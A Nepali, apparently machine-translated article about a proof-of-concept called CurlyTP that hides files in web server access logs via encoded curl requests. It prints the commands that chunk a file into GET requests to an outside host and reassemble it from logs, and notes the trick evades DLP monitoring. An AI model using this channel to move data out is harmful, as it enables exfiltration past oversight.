विकिपिडिया परिभाषा अनुसार, एक मृत ड्रप एक षड्यन्त्र उपकरण हो जसले गोप्य स्थान प्रयोग गर्ने व्यक्तिहरू बीच जानकारी वा केही वस्तुहरू आदानप्रदान गर्न कार्य गर्दछ। विचार यो हो कि मानिसहरू कहिल्यै भेट्दैनन् - तर तिनीहरू अझै पनि परिचालन सुरक्षा कायम राख्न जानकारी आदानप्रदान गर्छन्।

लुक्ने ठाउँले ध्यान आकर्षित गर्नु हुँदैन। तसर्थ, अफलाइन संसारमा तिनीहरू प्रायः विवेकी चीजहरू प्रयोग गर्छन्: पर्खालमा छाडा इट्टा, पुस्तकालयको पुस्तक, वा रूखमा खोक्रो।

इन्टरनेटमा धेरै ईन्क्रिप्शन र अज्ञात उपकरणहरू छन्, तर यी उपकरणहरू प्रयोग गर्ने तथ्यले ध्यान आकर्षित गर्छ। थप रूपमा, तिनीहरू कर्पोरेट वा सरकारी स्तरमा अवरुद्ध हुन सक्छन्। के गर्ने?

विकासकर्ता रायन फूलहरूले एक रोचक विकल्प प्रस्ताव गरे - लुकाउने ठाउँको रूपमा कुनै पनि वेब सर्भर प्रयोग गर्नुहोस्। यदि तपाइँ यसको बारेमा सोच्नुहुन्छ भने, वेब सर्भरले के गर्छ? अनुरोधहरू प्राप्त गर्दछ, फाइलहरू मुद्दाहरू र लगहरू लेख्छ। र यसले सबै अनुरोधहरू लगाउँछ, गलत पनि!

यो बाहिर जान्छ कि कुनै पनि वेब सर्भरले तपाईंलाई लगमा कुनै पनि सन्देश बचत गर्न अनुमति दिन्छ। फूलहरू यसलाई कसरी प्रयोग गर्ने भनेर सोचिरहेका थिए।

उहाँले यो विकल्प प्रस्ताव:

1. पाठ फाइल (गोप्य सन्देश) लिनुहोस् र ह्यास (md5sum) गणना गर्नुहोस्।
2. हामी यसलाई इन्कोड गर्छौं (gzip + uuencode)।
3. हामी सर्भरमा जानाजानी गलत अनुरोध प्रयोग गरेर लगमा लेख्छौं।

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

फाइल पढ्नको लागि, तपाईंले यी कार्यहरू उल्टो क्रममा गर्न आवश्यक छ: फाइललाई डिकोड गर्नुहोस् र अनजिप गर्नुहोस्, ह्यास जाँच गर्नुहोस् (ह्यास खुला च्यानलहरूमा सुरक्षित रूपमा प्रसारित गर्न सकिन्छ)।

स्पेसहरू प्रतिस्थापन गरिएको छ =+=ताकि ठेगानामा खाली ठाउँहरू छैनन्। कार्यक्रम, जसलाई लेखकले CurlyTP भन्छन्, इमेल संलग्नकहरू जस्तै base64 एन्कोडिङ प्रयोग गर्दछ। अनुरोध एक किवर्ड संग गरिएको छ ?transfer?ताकि प्राप्तकर्ताले यसलाई लगहरूमा सजिलै फेला पार्न सक्छ।

हामी यस मामला मा लग मा के देख्छौं?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

पहिले नै उल्लेख गरिए अनुसार, गोप्य सन्देश प्राप्त गर्न तपाईंले उल्टो क्रममा अपरेशनहरू गर्न आवश्यक छ:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

प्रक्रिया स्वचालित गर्न सजिलो छ। Md5sum मेल खान्छ, र फाइलको सामग्रीले सबै कुरा सही रूपमा डिकोड गरिएको पुष्टि गर्दछ।

विधि धेरै सरल छ। "यस अभ्यासको बिन्दु मात्र प्रमाणित गर्न को लागी हो कि फाईलहरु निर्दोष साना वेब अनुरोधहरु मार्फत स्थानान्तरण गर्न सकिन्छ, र यो सादा पाठ लग संग कुनै पनि वेब सर्भर मा काम गर्दछ। अनिवार्य रूपमा, प्रत्येक वेब सर्भर लुकाउने ठाउँ हो! ”फ्लावर्स लेख्छन्।

निस्सन्देह, विधिले मात्र काम गर्छ यदि प्राप्तकर्तासँग सर्भर लगहरूमा पहुँच छ। तर यस्तो पहुँच प्रदान गरिएको छ, उदाहरणका लागि, धेरै होस्टहरू द्वारा।

यसलाई कसरी प्रयोग गर्ने?

Ryan Flowers भन्छन् कि उनी सूचना सुरक्षा विशेषज्ञ होइनन् र CurlyTP का लागि सम्भावित प्रयोगहरूको सूची कम्पाइल गर्दैनन्। उसको लागि, यो अवधारणाको प्रमाण मात्र हो कि हामीले हरेक दिन देख्ने परिचित उपकरणहरू अपरंपरागत तरिकामा प्रयोग गर्न सकिन्छ।

वास्तवमा, यस विधिमा अन्य सर्भर "लुकाउने" जस्तै धेरै फाइदाहरू छन् डिजिटल मृत ड्रप वा समुद्री डाकू बक्स: यसलाई सर्भर साइडमा विशेष कन्फिगरेसन वा कुनै विशेष प्रोटोकलको आवश्यकता पर्दैन - र ट्राफिक अनुगमन गर्नेहरूका बीचमा शंका उत्पन्न गर्दैन। यो सम्भव छैन कि SORM वा DLP प्रणालीले संकुचित पाठ फाइलहरूको लागि URL हरू स्क्यान गर्नेछ।

यो सेवा फाइलहरू मार्फत सन्देशहरू प्रसारण गर्ने तरिकाहरू मध्ये एक हो। तपाइँ याद गर्न सक्नुहुन्छ कि केहि उन्नत कम्पनीहरु कसरी राख्थे HTTP हेडरहरूमा विकासकर्ता कार्यहरू वा HTML पृष्ठहरूको कोडमा।

विचार यो थियो कि वेब विकासकर्ताहरूले मात्र यो ईस्टर अण्डा देख्नेछन्, किनकि सामान्य व्यक्तिले हेडर वा HTML कोड हेर्दैन।

स्रोत: www.habr.com